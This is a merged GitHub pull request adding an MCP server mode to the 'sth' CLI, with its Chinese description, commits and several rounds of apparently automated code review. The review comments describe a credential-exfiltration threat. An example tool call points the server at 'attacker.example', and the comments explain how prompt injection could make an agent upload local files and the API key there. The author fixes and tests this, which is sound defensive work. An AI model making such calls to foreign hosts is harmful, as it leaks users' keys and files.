Skip to content

feat: MCP server support (sth mcp) — CLI 功能全量暴露为 MCP tools - #103

Merged
Svtter merged 4 commits into
mainfrom
feat/mcp-server
Nov 18, 2026
Merged

Svtter merged 4 commits into
mainfrom
feat/mcp-server

Conversation

@Svtter

@Svtter Svtter commented Nov 18, 2026

Copy link
Copy Markdown
Contributor

Closes #101

概述

新增 sth mcp 子命令:以 stdio 方式运行 MCP(Model Context Protocol)server,把 CLI 支持的功能以 16 个结构化 tools 暴露给 AI agent,不再依赖 shell 调用。

工具面(与 CLI 一一对应)

CLI MCP tool 说明
send send 上传 HTML(multipart + zip),返回预览 URL / 版本链信息
tag [--rm] tag add/remove,双模式
categorize / project / title 同名 tool 双模式
list / search 同名 tool 过滤与分页校验与 CLI 相同
delete delete 软删
share / unshare / shares 同名 tool 整会话/单页 grant,双模式
user add / issue-key / revoke-key / list user_add / user_issue_key / user_revoke_key / user_list 明文 key 仅在签发时返回一次
audit audit 查询 + prune_days 清理
  • 双模式语义与 CLI 一致:传 server(每次调用可覆盖 server 级默认)走 HTTP API(Bearer key),否则操作本地 --db。
  • start / watch 不进 v1:长驻进程不适合一次性 tool 调用,保持 CLI 专属。

实现要点

  • 复用现有内部逻辑,避免行为分叉:send 的校验/上传抽成共享的 resolveUploadTarget / uploadSite(internal/cli/send.go),CLI runSend 与 MCP tool 走同一代码路径;远程调用复用 doJSONRequest;share 系逻辑照搬 runShare/runUnshare(含 page 归一化、owner 检查、ErrNotShared 语义)。
  • 预期内失败(会话不存在、401、参数非法)按 MCP 规范以 isError=true 的 tool error 返回,agent 可自行纠正。
  • SDK:官方 modelcontextprotocol/go-sdk v1.0.0(仅要求 go ≥ 1.23,不动现有 go 1.24 CI;v1.8.0 要求 go ≥ 1.25 故弃用)。input schema 由结构体自动生成,omitempty 字段即可选参数。
  • MCP 协议独占 stdout,诊断信息全部走 stderr。

测试

  • internal/cli/mcp_test.go:13 个测试,经 in-memory transport 走真实 MCP 协议(initialize → tools/list → tools/call)覆盖全部 16 个 tool 的本地路径 + 远程路径(httptest 校验方法/路径/表单字段/zip 内容/Bearer 头/server 级默认回退/JSON body)。
  • stdio 真实进程冒烟:printf 管道 JSON-RPC → sth mcp,验证 initialize 握手(protocolVersion 2025-06-18)、tools/list inputSchema、user_add / user_list / user_issue_key 结构化输出。
  • go vet ./...、go test ./internal/... 全绿(5 个包)。
  • 现有 CLI 测试无回归(runSend 重构后 417 行测试全过,--root "" 报错等既有断言逐字保留)。

文档

  • README.md / README.cn.md 新增 "MCP Server" 章节(含 MCP client 配置示例)。
  • CHANGELOG.md 增加 [Unreleased] 条目。

Add 'sth mcp', a Model Context Protocol server over stdio, so AI agents
can drive sth sessions as structured tools instead of shell calls.

- 16 tools mirroring the CLI: send, tag, categorize, project, title,
  list, search, delete, share, unshare, shares, user_add, user_issue_key,
  user_revoke_key, user_list, audit
- dual-mode tools keep the CLI's local-DB vs remote-server semantics
  (per-call server/api_key override the server-wide defaults)
- send validation/upload extracted into shared resolveUploadTarget and
  uploadSite so CLI and MCP take one code path
- expected failures surface as MCP tool errors (isError) for agent
  self-correction; long-running commands (start, watch) stay CLI-only
- built on the official modelcontextprotocol/go-sdk v1.0.0 (go >= 1.23,
  compatible with the go 1.24 CI)

Closes #101

@Svtter Svtter left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

自动代码评审 (review-server-neo)

⚠️ CONDITIONAL MERGE

评审详情

整体质量不错:send.go 把 runSend 的校验/上传逻辑抽成 resolveUploadTarget + uploadSite 给 CLI 和 MCP 共用,重构后行为等价(cli.go:296-325 顺序、报错文案、60s 超时、401 先于 JSON 解析都保留),mcp_test.go 走的是真实协议(in-memory transport + initialize/tools/list/tools/call),覆盖度远超一般新功能。合并前请先处理第 1 条。

必须修 (Should-fix, 安全)

  • internal/cli/mcp.go:194-200(toolSend)与 internal/cli/mcp.go:145-158(resolveRemote):当调用方只覆盖 server 而不传 api_key 时,回落到 server 级的 --api-key / STH_API_KEY。即 send {file:..., server:"https://attacker.example"} 或 tag {server:"https://attacker.example"} 会把用户的真实 API key 以 Authorization: Bearer 形式发给任意主机。agent 的 tool 参数可被不可信内容影响,这属于凭据外泄通道。建议:只有当解析出的 serverURL 等于配置的默认 server 时才附带配置 key;per-call server 覆盖时必须显式给 api_key,否则不带凭据。

Should-fix

  • internal/cli/mcp.go:174:send 完全按 agent 给的文件路径/root 上传(entry 只要求 .html,兄弟目录里的 .json/.txt/.xml 会被一并打包)。叠加“per-call server 可任意指定”就是一个现成的数据外泄面:prompt 注入可以把宿主目录内容推到外部服务器。建议限制默认可上传根目录(或要求显式 allow_root 之类的开关),并在 README 里写明该工具能读取本机文件。
  • internal/cli/mcp_test.go(TestMCPSendRemote 的 handler 内调用 zipNames(t, data)):zipNames 会调 t.Fatalf,而它运行在 httptest 的 handler goroutine 中,Fatal* 只允许在测试 goroutine 调用(会 runtime.Goexit 掉 handler,响应写不完、真实失败被掩盖为 EOF;go vet 的 testinggoroutine 分析器也可能报)。改成在 handler 里 t.Errorf + http.Error 返回,或把错误带回测试 goroutine 再断言。
  • internal/cli/mcp.go:145-158:一旦以 sth mcp --server ... 启动,双模式工具就没有任何办法退回本地 DB(per-call 空 server 只会回落默认);而 list/search/delete/user_*/audit 又只走本地。agent 想对本地库做 tag/categorize 时无路可走。建议支持显式 server:"local"(或 local:true)并写进 tool description。

Nits

  • internal/cli/mcp.go:737:in.PruneDays < 0 被静默忽略并退化成列表查询,CLI 对同样输入报 “prune-days must be a positive integer”;加一条负值报错更一致。另外 audit 的 prune 与 delete/user_revoke_key 都是不可逆操作,建议在 description 里明确标注 destructive,便于客户端做确认。
  • internal/cli/mcp.go:400-420 远端路径:401 时 doJSONRequest 因响应是纯文本返回 “server returned non-JSON response: Unauthorized”,与 README 中“401 作为可自纠的 tool error”表述不符;建议在 doJSONRequest 里对 401 给出明确的鉴权提示(顺带同时修复 CLI 的同类表现)。
  • internal/cli/mcp.go:250、:470、:479:session_id / username 原样拼进 URL path,.. 之类可以改写到别的端点。这是 metadata.go/share.go 既有的拼法(非本次引入),但 MCP 让它变成模型可直达的输入,顺手用 url.PathEscape 更稳。
  • 工具每次调用都 openStore() 并 Close(),会重复执行 schema init / WAL pragma;长驻 server 场景可考虑复用单个 store(不是必须)。
  • mcp.go 各 handler 的 ctx/req 参数未使用,无语义问题,仅提示可显式 _。

未验证:s.Run(ctx, &mcp.StdioTransport{}) 在 SIGINT 时是否返回 context.Canceled(会以非零退出并打印错误)——需要实际跑一遍 stdio 才能确认,本次只读了代码。


由 review-server-neo 自动生成。新 push 会重新评审。

Details

Comment thread internal/cli/mcp.go

result, err := uploadSite(target, serverURL, apiKey)
if err != nil {
return nil, sendResult{}, err

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[should-fix] internal/cli/mcp.go:194-200(toolSend)与 internal/cli/mcp.go:145-158(resolveRemote):当调用方只覆盖 server 而不传 api_key 时,回落到 server 级的 --api-key / STH_API_KEY。即 send {file:..., server:"https://attacker.example"} 或 tag {server:"https://attacker.example"} 会把用户的真实 API key 以 `Authorization: Be…

Comment thread internal/cli/mcp.go
}

func (c *mcpConfig) toolSend(ctx context.Context, req *mcp.CallToolRequest, in sendParams) (*mcp.CallToolResult, sendResult, error) {
target, err := resolveUploadTarget(in.File, in.Title, in.Tag, in.Category, in.Project, in.Root, in.Root != "", in.Single)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[should-fix] internal/cli/mcp.go:174:send 完全按 agent 给的文件路径/root 上传(entry 只要求 .html,兄弟目录里的 .json/.txt/.xml 会被一并打包)。叠加“per-call server 可任意指定”就是一个现成的数据外泄面:prompt 注入可以把宿主目录内容推到外部服务器。建议限制默认可上传根目录(或要求显式 allow_root 之类的开关),并在 README 里写明该工具能读取本机文件。

Comment thread internal/cli/mcp.go
serverURL = serverParam
if serverURL == "" {
serverURL = c.serverURL
}

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[should-fix] internal/cli/mcp.go:145-158:一旦以 sth mcp --server ... 启动,双模式工具就没有任何办法退回本地 DB(per-call 空 server 只会回落默认);而 list/search/delete/user_*/audit 又只走本地。agent 想对本地库做 tag/categorize 时无路可走。建议支持显式 server:"local"(或 local:true)并写进 tool description。

Address rs review should-fix items on #103:

- the server-wide --api-key / STH_API_KEY is now attached only to calls
  targeting the configured --server; a per-call server override runs
  keyless unless it passes its own api_key, so a prompt-injected call
  cannot leak the configured key to another host
- dual-mode tools accept local=true to force local-DB operation even
  when a --server default is configured
- send tool description and README security notes state explicitly that
  the tool reads local files and recommend scoped keys

Tests: credential non-forwarding (tag + send), default-server key
attachment, local=true forcing local DB with zero remote hits.
@Svtter

Svtter commented Nov 18, 2026

Copy link
Copy Markdown
Contributor Author

3 条 rs should-fix 已在 e9b2ca7 修复:

  1. 凭据主机绑定(合并前置项):server 级 --api-key / STH_API_KEY 现在只附加到指向配置的 --server 的调用;per-call server 覆盖到其他主机时不再携带默认 key,除非显式传 api_key(resolveRemote + toolSend 同规则)。测试:TestMCPKeyNotForwardedToOverriddenServer / TestMCPSendKeyNotForwarded
  2. 本地回退:双模式工具新增 local: true 参数,可在配了 --server 默认时强制操作本地 DB,tool description 已写明。测试:TestMCPLocalForcesLocalDB(断言远端零请求)
  3. 数据面说明:send tool description 与 README 安全说明(双语)明确工具会读取本机文件,并建议使用低权限专用用户的 key。关于「限制默认上传根」:send 保持与 CLI 行为一致(入口父目录为默认 root),结合第 1 条修复后「任意文件 + 任意服务器 + 有效凭据」的组合面已消除;如仍希望 MCP 侧加白名单开关,可以后续单独出 issue 讨论

go build/test 本地全绿,已推送等 rs 复审。

@Svtter Svtter left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

自动代码评审 (review-server-neo)

⚠️ minor nits, OK to ship after — 需要先处理 internal/cli/mcp_test.go:415 的 handler 内 t.Fatalf,并给“配了 --api-key 却没配 --server”加一条启动提示(其余为可选打磨)。

评审详情

本轮 delta 已看过:resolveRemote 的凭据主机绑定 + local 覆盖 + 文档/安全说明 + 三个新测试。上一轮的问题基本收敛了。

已修复

  • 凭据外泄(上一轮的 must-fix):internal/cli/mcp.go:148-167 现在只在 serverURL == c.serverURL 时附带 server 级 key,per-call server 覆盖默认无凭据(除非显式给 api_key);toolSend(internal/cli/mcp.go:201-214)也按同一规则以自己的默认链(--server → DefaultServerURL)判定。TestMCPKeyNotForwardedToOverriddenServer / TestMCPSendKeyNotForwarded 把三条分支都钉住了,包括“同主机仍带 key”和“per-call key 生效”,这是本轮最扎实的部分。
  • 无法退回本地模式:local: true 已加到 tag/categorize/project/title/share/unshare/shares 的参数与 description,TestMCPLocalForcesLocalDB 验证了远程计数为 0 且数据写进本地库。
  • send 读取本机文件的暴露面:代码未变,但 README(中英)+ tool description 现在明确写了“只指向打算发布的内容”,并建议用低权限专用 key。作为文档化风险可以接受。

仍未处理

  • internal/cli/mcp_test.go:415:zipNames(t, data) 依旧在 httptest 的 handler goroutine 里被调用,而它会 t.Fatalf。Fatal* 只能在测试 goroutine 调用(会把 handler 直接 Goexit,响应写不完、真实失败变成客户端 EOF 之类的误导性报错)。改成 handler 内 t.Errorf + http.Error 返回即可。

新引入的小问题(Nits)

  • internal/cli/mcp.go:163:主机相等是字符串比较,--server http://h:3939/(带尾斜杠)与调用方传的 http://h:3939 不相等,key 会被静默丢掉、表现为莫名其妙的 401。比较前 strings.TrimRight(url, "/") 一下更稳。
  • internal/cli/mcp.go:148-167:--api-key/STH_API_KEY 显式配置了但没有 --server 时,双模式工具再也用不上这个 key(任何 per-call server 都不等于空 c.serverURL)。这是本轮引入的静默行为变化,建议启动时若 apiKey != "" && serverURL == "" 打一条 stderr 提示(或直接拒绝),并在 README 里点明。
  • internal/cli/mcp_test.go:672-676:“同一个默认 server 仍会带 key”这条只在 send 上用 defaultHooks 断言了 Bearer secret;温度较高的 tag 分支只断言了消息文本,没记录/校验 defaultServer 收到的 Authorization,可补一行断言。
  • 几个新测试把结果写进 handler goroutine 的变量(overrideAuth、remoteHits、defaultHooks/overrideHooks)再由测试 goroutine 读;CI 跑的是 go test -race ./...,建议用 sync.Mutex 或 channel 收口,避免偶发报告。
  • 上一轮其余 Nits 未变、且都非阻塞:prune_days 负值静默忽略并退化成列表(internal/cli/mcp.go:737 附近,CLI 同样输入会报错);远端 401 仍表现为 “server returned non-JSON response: Unauthorized”(doJSONRequest);session_id/username 原样拼 URL path(internal/cli/mcp.go:250/:470)。

未验证:s.Run 在 SIGINT 下的返回形态仍只能靠实跑确认,本次仍未执行。

结论:安全主问题已闭环并有测试护住,剩下的是一条测试卫生 + 三处一致性/断言打磨,不构成阻塞。

minor nits, OK to ship after — 需要先处理 internal/cli/mcp_test.go:415 的 handler 内 t.Fatalf,并给“配了 --api-key 却没配 --server”加一条启动提示(其余为可选打磨)。


由 review-server-neo 自动生成。新 push 会重新评审。

Details

Address the follow-up rs review (minor nits, OK to ship after):

- trim trailing slashes when comparing server URLs so a --server value
  like http://h:3939/ still receives the configured API key
- note on stderr at startup when --api-key/STH_API_KEY is set without
  --server, and let the key follow the implicit default server
  (http://127.0.0.1:3939) for dual-mode tools, matching send
- reject negative prune_days explicitly instead of silently listing
- test hygiene: zipNames no longer calls t.Fatalf from an httptest
  handler goroutine (t.Errorf + http.Error instead); handler-written
  variables moved behind a mutex-guarded recorder so -race stays quiet;
  assert the default server receives Bearer secret on tag too

@Svtter Svtter left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

自动代码评审 (review-server-neo)

✅ ship as-is — 累计改动可合并;上面两条 Nits(尾斜杠用例的断言方向、trimSlash 参数名)属可选跟进。

评审详情

本轮 delta 逐条对上了上一轮的遗留项,且没有引入新问题。

已修复

  • internal/cli/mcp_test.go:22:zipNames 改为 ([]string, error),handler 里改用 t.Errorf + http.Error(:434、:440),handler goroutine 里调用 Fatal* 的问题消除。
  • internal/cli/mcp_test.go:37-56:新增 authRecorder(sync.Mutex + snapshot()),TestMCPSendRemote、TestMCPKeyNotForwardedToOverriddenServer、MCPLocalForcesLocalDB、MCPSendKeyNotForwarded 全部改用它,CI 的 go test -race 不再依赖“没有同步但实际有序”的假设。
  • internal/cli/mcp.go:49-54:--api-key 无 --server 时启动打 stderr 提示;关键是行为上也一并理顺了——resolveRemote(:165-176)与 toolSend(:218-230)在 c.serverURL == "" 时把默认主机回落到 server.DefaultServerURL,所以这条 key 不再是死配置,提示文案与实现一致。
  • internal/cli/mcp.go:178-181:trimSlash 消除尾斜杠导致的凭据误丢。
  • internal/cli/mcp.go:789-791:prune_days 负值现在报 “prune-days must be a positive integer”,与 CLI 一致;mcp_test.go:659-663 有对应断言。

剩余 Nits(不阻塞)

  • internal/cli/mcp_test.go:717-723:新增的尾斜杠用例测的是“覆盖到别的 host + 尾斜杠仍不带凭据”——这在 trimSlash 之前也成立;真正被修的行为是“指向默认 server 的 URL 带尾斜杠仍应带 key”(server: defaultServer.URL + "/" → Bearer secret)。建议把断言翻到这一侧,否则该修复本身无测试覆盖。
  • internal/cli/mcp.go:180:func trimSlash(url string) 的参数名遮蔽了 net/url 包(函数体内未用,可编译),改名 raw/base 更干净。
  • 前几轮提过、仍存在且均为非阻塞:远端 401 经由 doJSONRequest 变成 “server returned non-JSON response: Unauthorized”(README 措辞仍略强于实现);session_id/username 原样拼 URL path(internal/cli/mcp.go:271/:508 附近,CLI 既有拼法);每个 tool 调用重开 store。

累计状态:安全主问题(凭据主机绑定)和本地覆盖都已闭环并有测试,测试卫生问题也清了,剩下的只是可选打磨。

ship as-is — 累计改动可合并;上面两条 Nits(尾斜杠用例的断言方向、trimSlash 参数名)属可选跟进。


由 review-server-neo 自动生成。新 push 会重新评审。

Details

@Svtter
Svtter merged commit fffb578 into main Nov 18, 2026
3 checks passed
Svtter added a commit that referenced this pull request Nov 19, 2026
feat: MCP 管理员工具门控(user_add/user_issue_key/user_revoke_key/audit)——#103 后续
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

feat: MCP server 支持——sth mcp 子命令,把 CLI 能力暴露为 MCP tools

1 participant